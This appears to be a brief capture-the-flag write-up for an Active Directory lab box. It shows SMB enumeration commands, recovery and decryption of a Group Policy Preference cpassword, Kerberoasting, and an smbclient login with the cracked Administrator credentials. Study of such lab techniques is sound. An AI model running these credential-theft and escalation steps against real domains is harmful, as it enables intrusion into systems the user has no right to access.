Active is active directory box with Domain Controller installed.

Smb enumeration:

smbclient '\\server\share' mask "" recurse ON prompt OFF cd 'path\to\remote\dir' lcd '~/path/to/download/to/' mget *

The below tree looks like Group Policy Objects

One of Group Policy Preference which was created, contains cpassword

Groups.xml contains information about domain service account:

active.htb\SVC_TGS

and encrypted password:

cpassword=”edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ”

Kali distro has this script compiled:

User:
active.htb\SVC_TGS
Password:
GPPstillStandingStrong2k18
I have read access to \Users
I parsed password after % sign

Trying Kerberoasting with user credentials

https://room362.com/post/2016/kerberoast-pt1/
https://room362.com/post/2016/kerberoast-pt2/
https://room362.com/post/2016/kerberoast-pt3/

Administrator\Ticketmaster1968

Recursive mapping was quite time consuming:

smbclient \\10.129.227.83\Users -U active.htb\Administrator%Ticketmaster1968

By Marceli

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